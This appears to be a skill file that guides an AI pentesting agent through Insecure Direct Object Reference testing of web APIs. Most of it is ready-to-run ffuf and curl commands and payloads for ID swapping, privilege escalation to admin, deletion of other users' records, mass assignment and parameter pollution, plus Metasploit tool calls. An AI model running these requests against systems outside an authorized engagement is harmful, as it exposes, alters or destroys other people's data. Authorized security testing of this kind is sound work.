idor-pentest

name	idor-pentest
description	Guides Insecure Direct Object Reference testing with ID manipulation, parameter pollution, and horizontal/vertical privilege escalation techniques. Use when predictable IDs in URLs, sequential numbers, UUIDs, or authorization bypass indicators appear.

Insecure Direct Object References Pentest

Prerequisites

• Target is in scope (scope/scope-master.txt, engagement ROE).
• Load web-app-pentest for overall web testing context.
• Requires two test accounts: same-role (horizontal) and different-role (vertical).

Triggers

• Predictable numeric or sequential IDs in URLs, query params, or JSON bodies
• UUID/GUID or MongoDB ObjectId references in API requests
• User can access own resources by ID but authorization on ID swap is unclear
• Horizontal privesc (peer data) or vertical privesc (admin-only objects)
• BOLA/BFLA patterns in REST or GraphQL APIs

Workflow

Task Progress:
- [ ] Capture authenticated requests referencing object IDs
- [ ] Swap IDs across accounts/roles; test increment, decrement, encoding variants
- [ ] Try wildcard, parameter pollution, and HTTP method/content-type changes
- [ ] Confirm unauthorized read, modify, or delete with two distinct test accounts
- [ ] Document with request/response evidence showing cross-account access

Detection

Numeric ID swapping

CLI (primary for web vulns):

ffuf -u "http://<target>/api/orders/FUZZ" -w ids.txt -H "Authorization: Bearer <token>" -mc 200
curl -H "Authorization: Bearer <token_b>" "http://<target>/api/orders/1001"

Test: /api/orders/1001 (User A) with User B token.

MSF MCP: No direct module. Use msf_search_modules(query="authorization") or msf_search_modules(query="idor").

Increment/decrement fuzzing

CLI (primary):

ffuf -u "http://<target>/api/users/FUZZ" -w <(seq 1 5000) -H "Cookie: session=<token>" -mc 200,403
# pwsh (Windows):
1..5000 | ForEach-Object { Invoke-WebRequest "http://<target>/api/users/$_" -Headers @{Authorization="Bearer <token>"} }
for i in $(seq 99 105); do curl -s -o /dev/null -w "$i:%{http_code}\n" "http://<target>/api/doc/$i" -H "Authorization: Bearer <token>"; done

Leading zeros: /order_id=00001001

MSF MCP: No direct module.

Exploitation by variant

Horizontal IDOR (same role)

CLI (primary):

# User B token accessing User A resource
curl -H "Authorization: Bearer <user_b_token>" "http://<target>/api/users/<user_a_id>/profile"
curl -X PUT -H "Authorization: Bearer <user_b_token>" -d '{"email":"[e-mail]"}' "http://<target>/api/users/<user_a_id>"

Burp Autorize extension for automated cross-account testing.

MSF MCP: No direct module.

Vertical IDOR (privilege escalation)

CLI (primary):

curl -H "Authorization: Bearer <user_token>" "http://<target>/api/admin/users/1"
curl -X PUT -H "Authorization: Bearer <user_token>" -d '{"role":"admin"}' "http://<target>/api/users/1"
curl -X POST -H "Authorization: Bearer <user_token>" "http://<target>/api/admin/delete-user" -d '{"id":5}'

MSF MCP: No direct module.

Mass assignment

CLI (primary):

curl -X POST -H "Authorization: Bearer <token>" -H "Content-Type: application/json" \
  -d '{"username":"test","email":"[e-mail]","role":"admin","isAdmin":true}' \
  "http://<target>/api/users/register"
curl -X PATCH -H "Authorization: Bearer <token>" \
  -d '{"name":"test","permissions":["admin","write","delete"]}' \
  "http://<target>/api/profile"

Send extra fields the server binds without authorization check.

MSF MCP: No direct module.

GraphQL node ID (base64 decode)

CLI (primary):

# Relay-style global IDs: base64("Type:id")
echo "VXNlcjox" | base64 -d    # User:1
echo "VXNlcjoxMDAy" | base64 -d
curl -X POST "http://<target>/graphql" -H "Content-Type: application/json" \
  -d '{"query":"{ node(id:\"VXNlcjoxMDAy\") { ... on Order { total } } }"}'

Decode, modify type/id component, re-encode; test cross-user node access.

MSF MCP:

msf_run_auxiliary_module(
  module_name="auxiliary/scanner/http/graphql_introspection",
  engagement_id="<id>",
  options={"RHOSTS": "<target>", "TARGETURI": "/graphql", "SCHEMA": "true"}
)

Export endpoint enumeration

CLI (primary):

ffuf -u "http://<target>/api/FUZZ/export" -w api-paths.txt -H "Authorization: Bearer <token>"
curl -H "Authorization: Bearer <token>" "http://<target>/api/reports/export?format=csv&user_id=1"
curl -H "Authorization: Bearer <token>" "http://<target>/api/users/export/all"

Bulk export endpoints often lack per-row authorization.

MSF MCP: No direct module.

UUID and MongoDB ObjectId

CLI (primary):

# ObjectId timestamp prefix partially predictable
curl -H "Authorization: Bearer <token>" "http://<target>/api/items/507f1f77bcf86cd799439011"
# UUID v1 predictability testing

MSF MCP: No direct module.

Hashed parameter IDOR

CLI (primary):

# MD5 of predictable values
curl "http://<target>/api/user?id=21232f297a57a5a743894a0e4a801fc3"  # md5("admin")

MSF MCP: No direct module.

Advanced techniques

Wildcard and parameter pollution

CLI (primary):

curl "http://<target>/api/users?user_id=*" -H "Authorization: Bearer <token>"
curl "http://<target>/api/users?user_id=attacker&user_id=victim" -H "Authorization: Bearer <token>"
curl -X POST -H "Content-Type: application/json" -d '{"user_id":"attacker","user_id":"victim"}' "http://<target>/api/data"

MSF MCP: No direct module.

HTTP method and content-type swap

CLI (primary):

curl -X DELETE -H "Authorization: Bearer <user_token>" "http://<target>/api/users/5"
curl -X PATCH -H "Authorization: Bearer <user_token>" "http://<target>/api/users/5"
curl -X POST -H "Content-Type: application/xml" -d "<user><id>5</id></user>" "http://<target>/api/users/5"

MSF MCP: No direct module.

Array smuggling

CLI (primary):

{"id": 19}
{"id": [19]}
{"id": {"id": 19}}

MSF MCP: No direct module.

Impact escalation

Stage	CLI technique
Read	Cross-account document/message access
Modify	Change another user's profile or orders
Delete	Remove other users' resources
Admin	Access admin panels via ID swap or mass assignment

MSF MCP: After auth bypass yields creds, use msf_search_modules(query="<product>").

Tool reference

ffuf -u "http://<target>/api/orders/FUZZ" -w ids.txt -H "Authorization: Bearer TOKEN"
# Burp Autorize, AuthMatrix extensions
echo "VXNlcjox" | base64 -d

Related skills

• web-app-pentest - overall web testing flow
• graphql-pentest - IDOR via GraphQL field arguments and node IDs
• jwt-pentest - token claim manipulation for object access